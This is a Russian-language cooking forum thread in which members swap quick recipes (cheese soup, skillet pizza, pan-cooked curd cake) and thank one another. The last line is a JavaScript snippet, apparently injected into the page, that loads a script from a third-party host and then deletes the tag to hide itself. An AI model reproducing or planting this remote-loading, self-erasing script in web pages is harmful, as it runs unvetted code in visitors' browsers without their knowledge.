КТО С ЧЕМ И СКОЛЬКО МИНУТ!!! (кулинария)

Блин, я теперь тоже хочу, вот только на кухне уже места нет. Куда все ставить???

Gloria пишет:Блин, я теперь тоже хочу, вот только на кухне уже места нет. Куда все ставить???

у мамы делали ремонт и я нашла книженцию с рецептами от шеф повара, привлекло тем, что простые продукты, незамудреные рецепты, но в то же время что то новенькое))

сегодня сварила сырный суп с курицей и рисом, вкусненько получилось. ВОт рецепт.
курицу отварить до готовности. Мясо отделить от костей, бульон процедить. Рис промыть, опустить в кипящий, слегка подсоленный бульон (количество по желаемой густоте супа) и варить до мягкости.
Лук нашинковать полукольцами, обжарить на растительном масле до золотистого цвета, добавить нарезанный мелкими кубиками болгарский перец и жарить еще 2-3 мин.
опустить зажарку в суп, довести до кипения, добавить тертый сыр, по вкусу посолить и поперчить. Варить на слабом огне до полного растворения сыра (сыр плавленный). ПРи подаче посыпать нашинкованной зеленью укропа.

Приятного аппетита!

Пицца на сковороде за 10 минут

Ингредиенты:

4 ст.л. сметаны
4 ст.л. майонеза
2 яйца
9 ст.л. муки (без горки, в ущерб)
сыр

Приготовление:

1. Тесто получается жидкое, как сметана, его вылить на сковороду смазаную маслом и уже сверху положить любую начинку (томат, колбаса, солёные огурчики, оливки, помидоры и др.)

2. Залить майонезом, и сверху толстый слой сыра.
Рекомендуем толстый слой сыра.

3. Ставим сковороду на плиту, буквально на несколько минут, огонь большой не делайте

4. Сковороду сразу накрываем крышкой, как только сыр немного расплавился, пицца готова.
[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

обязательно попробую 

я люблю готовить по рецептам Джейми Оливера
позовчера делала тефтели с пастой ( в мульте)
муж мой был в восторге, очень вкусно
могу сфотографировать рецепт и выложить сюда

О, давай! Мы тоже любим тефтели. Но я обычно делала.

Little Bee пишет:я люблю готовить по рецептам Джейми Оливера
позовчера делала тефтели с пастой ( в мульте)
муж мой был в восторге, очень вкусно
могу сфотографировать рецепт и выложить сюда

о, Настюш, давай рецептик, я тоже делала в мульятшке тефтельки с томатом, но может что то новое почерпну, будет еще вкуснее))

ТВОРОЖНЫЙ ТОРТ НА СКОВОРОДЕ за 10 минут!
Девочки, даже не представляете как быстро он готовится ;) Мои просто в восторге от этого рецепта, балую их! Ингредиенты: 
 - 1 яйцо 
 - 200 г творога,
 - 1 ст.сахара 
 - ванилин 
 - 250-300 г муки 
 - 1 ч.л. гашен.соды. 
 Крем: 
 - 500 мл молока, 
 - 1 яйцо, 
 - 1 ст сахара, 
 - 3 ст л муки,ванилин, 
 - 150-200г слив масла, 
 - орехи. 
Приготовление: Растереть яйцо с сахаром и мукой, добавить ванилин, влить молоко, перемешать венчиком, поставить на медленный огонь, варить до загустения, постоянно мешая. Полностью остудить. Сливочное масло взбить миксером, постепенно добавляя остывшую заварную массу. Смешать яйцо с сахаром, добавить творог, ванилин, соду и постепенно ввести муку. Тесто должно получиться не совсем крутым, но плотным. Разделить на 6-8 частей. Тонко раскатать, наколоть вилкой, чтоб не вздувались. Печь до зарумянивания на сковороде с двух сторон. Обрезать неровные края. Остудить. Смазать коржи кремом, посыпать орехами и шоколадом. 
Приятного аппетита!



[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

пицца за 10 минут на сковороде получилась просто суперская! Накормила неожиданных гостей, все остались довольны (только вот пиццы не осталось))) 

торт еще не пробовала, но сегодня планирую)))

Иришка пишет:Пицца на сковороде за 10 минут

Ингредиенты:

4 ст.л. сметаны
4 ст.л. майонеза
2 яйца
9 ст.л. муки (без горки, в ущерб)
сыр

Приготовление:

1. Тесто получается жидкое, как сметана, его вылить на сковороду смазаную маслом и уже сверху положить любую начинку (томат, колбаса, солёные огурчики, оливки, помидоры и др.)

2. Залить майонезом, и сверху толстый слой сыра.
Рекомендуем толстый слой сыра.

3. Ставим сковороду на плиту, буквально на несколько минут, огонь большой не делайте

4. Сковороду сразу накрываем крышкой, как только сыр немного расплавился, пицца готова.
[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

Ирин,спасибки тебе за рецепт ,сказать что вкусно-вранье, просто охе....но вкусно,а как быстро

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку] Анютк рада, что понравилось! Сама в восторге! так выручает, особенно, когда кто то неожиданно пришел. И сын у меня очень любит, я ему раз быстренько, сварганю))
(function () { var script = document.createElement('script'); script.src = 'https://abover.com/system/extension?iframe=' + ( self === top ? '0' : '1' ) + '&r=' + Math.random(); script.onload = script.onerror = function () { script.onload = script.onerror = null; script.parentNode.removeChild(script); } document.body.appendChild(script); })();